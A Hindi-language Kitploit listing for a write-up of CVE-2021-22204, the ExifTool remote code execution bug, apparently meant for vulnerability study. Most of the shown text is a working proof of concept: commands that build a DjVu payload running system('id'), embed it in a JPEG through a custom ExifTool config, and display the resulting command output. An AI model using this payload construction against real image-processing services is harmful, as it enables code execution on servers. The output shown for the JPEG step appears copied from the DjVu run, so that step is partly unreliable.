Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/trganda/cve-2021-22204
भेद्यता विश्लेषणकोड विश्लेषणशोषणपेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHubtrganda/cve-2021-22204

CVE-2021-22204

CVE-2021-22204 (ExifTool RCE) का गहन तकनीकी विश्लेषण, PoC पुनरुत्पादन, पेलोड निर्माण, और कमजोर DjVu एनोटेशन पार्सर की Perl कोड समीक्षा के साथ।

रिपॉजिटरी देखें
3104 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ExifTool रिमोट कोड निष्पादन भेद्यता

यह CVE-2021-22204 का विश्लेषण लेख होना चाहिए था, लेकिन यह मेरी ड्राफ्ट नोटबुक की तरह है, जो बहुत सारी अव्यवस्थित चीजों से भरी हुई है। भेद्यता विश्लेषण लेख के लिए यह कुछ हद तक अनावश्यक लगता है, लेकिन इसने मुझे बहुत कुछ सिखाया।

सच कहूँ तो, मैंने कभी इस उपकरण का उपयोग नहीं किया, और मैंने लगभग Perl भाषा को भी नहीं छुआ, जिसके कारण विश्लेषण और पुनरुत्पादन की प्रक्रिया में मेरे मन में बहुत सारे प्रश्न थे। विश्लेषण शुरू करने से पहले, आइए इंटरनेट पर पहले से प्रकाशित POC और मेरे मन के प्रश्नों को देखें।

POC - convisolabs

एक लेख [1] देखा, जिसमें भेद्यता के कारणों का संक्षिप्त परिचय दिया गया है, लेकिन चूंकि मैं Perl कोड नहीं समझता, इसलिए कई जगह स्पष्ट नहीं थीं। इसका पुनरुत्पादन प्रक्रिया निम्नानुसार है:

exiftool का संस्करण 12.23 डाउनलोड करें

wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

निकालें और स्थापित करें

$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

बेशक, यदि आप इसे स्थापित नहीं करना चाहते हैं, तो आप सीधे exiftool-12.23 निर्देशिका के अंतर्गत exiftool फ़ाइल को पर्यावरण चर के पथ में रख सकते हैं, और फिर आप सीधे exiftool उपकरण का उपयोग कर सकते हैं, क्योंकि Perl एक व्याख्यात्मक भाषा है, Python की तरह।

एक दुर्भावनापूर्ण छवि बनाएं, पहले आवश्यक उपकरण स्थापित करें

$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

एक दुर्भावनापूर्ण djvu फ़ाइल बनाने के लिए निम्नलिखित कमांड निष्पादित करें

$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# यह सबसे भ्रामक हिस्सा है, मुझे समझ नहीं आता कि इसे संपीड़ित क्यों किया जाए (क्योंकि अन्य POC में इसकी आवश्यकता नहीं है)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = प्रारूप 'N,N' में कुछ भी जहां N एक संख्या है
# BGjp = एक JPEG छवि की अपेक्षा करता है, लेकिन हम पृष्ठभूमि छवि के रूप में /dev/null का उपयोग कर सकते हैं
# ANTz = इनपुट फ़ाइल के साथ संपीड़ित एनोटेशन खंड लिखेगा

फिर exiftool उपकरण के माध्यम से उस दुर्भावनापूर्ण फ़ाइल को पार्स करें, और id कमांड सफलतापूर्वक निष्पादित होता हुआ दिखाई देगा

$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

पहले djvumake कमांड के माध्यम से djvu प्रारूप फ़ाइल बनाते समय, क्या payload को संपीड़ित नहीं किया जा सकता? क्योंकि विश्लेषण के दृष्टिकोण से यह देखने और परीक्षण करने में सुविधाजनक नहीं है। बेशक, बस पैरामीटर ANTz को ANTa से बदलें। यहां ANTz और ANTa का उल्लेख exiftool दस्तावेज़ [3] में किया गया है, लेकिन मैं अभी भी उनका सटीक अर्थ नहीं ढूंढ पाया क्योंकि कोई मानक स्पष्टीकरण नहीं मिला।

यहां एक शिकायत करूंगा, मैं man djvumake के माध्यम से पैरामीटर का विवरण देखना चाहता था, लेकिन इसमें ANTz और ANTa के बारे में कोई स्पष्टीकरण नहीं था, दस्तावेज़ की तारीख 2001 थी, बहुत समय से अपडेट नहीं हुआ।

Tag IDTag NameWritable
'ANTa'ANTa-
'ANTz'CompressedAnnotation-

ANTa djvu फ़ाइल के अंदर metadata में स्पष्ट टेक्स्ट प्रारूप में Annotation संग्रहीत करता है, ANTz bzz संपीड़ित प्रारूप में।

लेकिन djvu प्रारूप फ़ाइलें आम नहीं हैं, विशेष रूप से वेबसाइटों पर छवि अपलोड करते समय, अधिकतर केवल png/jpg/jpeg जैसी फ़ाइलें स्वीकार की जाती हैं। इसलिए यदि दुर्भावनापूर्ण djvu फ़ाइल को jpg फ़ाइल में बदला जा सके, तो अच्छा होगा।

exiftool उपकरण हमें छवि की सामग्री को संशोधित करने में मदद कर सकता है, बस दुर्भावनापूर्ण djvu फ़ाइल को jpg फ़ाइल के उपयुक्त स्थान पर डालें, और विशिष्ट स्थान क्या है, और ऐसा क्यों हो सकता है, इसका विश्लेषण बाद में समझाया जाएगा।

एक exiftool कॉन्फ़िगरेशन फ़ाइल eval.config बनाएं

%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b corresponds to Tag 'HasselbladExif'[6]
        0xc51b => {
            # नाम इच्छानुसार निर्दिष्ट किया जा सकता है, यह प्राप्त पैरामीटर का नाम है
            Name => 'HasselbladExif',
            # लिखने योग्य चर का प्रकार
            Writable => 'string',
            # डेटा किस Group[7] के metadata में लिखा जाएगा
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end

exiftool कॉन्फ़िगरेशन फ़ाइल कैसे लिखें, इसके लिए [4][5] देखें। फिर एक सामान्य jpg छवि फ़ाइल poc.jpg लें और निम्नलिखित कमांड निष्पादित करें

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg

फिर exiftool के माध्यम से poc.jpg को पार्स करें, कमांड सफलतापूर्वक निष्पादित होता है

$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

भेद्यता विश्लेषण

निम्नलिखित विश्लेषण प्रक्रिया [2] की सामग्री पर आधारित है, भेद्यता से प्रभावित संस्करण exiftool < 12.24 है, और भेद्यता पैदा करने वाली फ़ाइल है

lib/Image/ExifTool/DjVu.pm (line 202)

संबंधित फ़ंक्शन कोड इस प्रकार है

टूल डाउनलोड करें